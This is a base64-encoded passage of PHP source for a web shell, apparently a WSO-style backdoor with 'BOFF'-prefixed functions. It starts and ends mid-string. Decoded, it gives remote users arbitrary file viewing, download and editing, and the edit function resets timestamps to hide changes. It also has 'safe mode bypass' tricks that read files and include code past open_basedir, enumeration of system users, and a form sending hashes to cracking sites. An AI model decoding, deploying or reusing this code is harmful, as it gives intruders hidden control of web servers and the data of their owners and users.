IHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCSdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCgkpOw0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkNCgkJCWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsNCglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikNCgkJZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOw0KCQllY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggdGV4dCBpbiBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnIHdpZHRoPSc1MCUnPg0KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoNCglmdW5jdGlvbiBCT0ZGUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2RpcigkaXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQlCT0ZGUmVjdXJzaXZlR2xvYigkaXRlbSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKQ0KCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKEAkX1BPU1RbJ3AzJ10pDQoJCUJPRkZSZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5pbmZvJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5pbmZvL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsNCgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsNCgkJQk9GRkZvb3RlcigpOw0KCQlyZXR1cm47DQoJfQ0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCglpZighJHVpZCkgew0KCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsNCgl9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT9CT0ZGVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLkJPRkZQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOw0KCWVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOw0KCWlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkNCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOw0KCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQ0KCQkkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQoJZWxzZQ0KCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCglmb3JlYWNoKCRtIGFzICR2KQ0KCQllY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnZWRpdCc6DQoJCQlpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOw0KCQkJCWlmKCRmcCkgew0KCQkJCQlAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOw0KCQkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOw0KCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoICFAZmVvZigkZnApICkNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQl9DQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2hleGR1bXAnOg0KCQkJJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGxlbiA9IHN0cmxlbigkYyk7DQoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KCQkJCXN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCWlmICgkbiA9PSAzMikgew0KCQkJCQkkbiA9IDA7DQoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQoJCQkJCSRoWzFdIC49ICc8YnI+JzsNCgkJCQkJJGhbMl0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3JlbmFtZSc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQ0KCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOw0KCQkJCWVsc2UNCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7DQoJJHRlbXA9Jyc7DQoJb2Jfc3RhcnQoKTsNCglzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCWNhc2UgMToNCgkJCSR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsNCgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7DQoJCQkJZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KCQkJCXVubGluaygkdGVtcCk7DQoJCQl9IGVsc2UNCgkJCQllY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsNCgkJCWJyZWFrOw0KCQljYXNlIDI6DQoJCQkkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOw0KCQkJaWYoIGlzX2FycmF5KCRmaWxlcykgKQ0KCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpDQoJCQkJCWVjaG8gJGZpbGVuYW1lLiJcbiI7DQoJCQlicmVhazsNCgkJY2FzZSAzOg0KCQkJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLnByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KCQkJY3VybF9leGVjKCRjaCk7DQoJCQlicmVhazsNCgkJY2FzZSA0Og0KCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KCQkJaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KCQkJaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOw0KCQkJYnJlYWs7DQoJCWNhc2UgNToNCgkJCWZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgew0KCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCgkJCQlpZiAoJHVpZCkNCgkJCQkJZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOw0KCQkJfQ0KCQkJYnJlYWs7DQoJfQ0KCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJQk9GRkhlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48d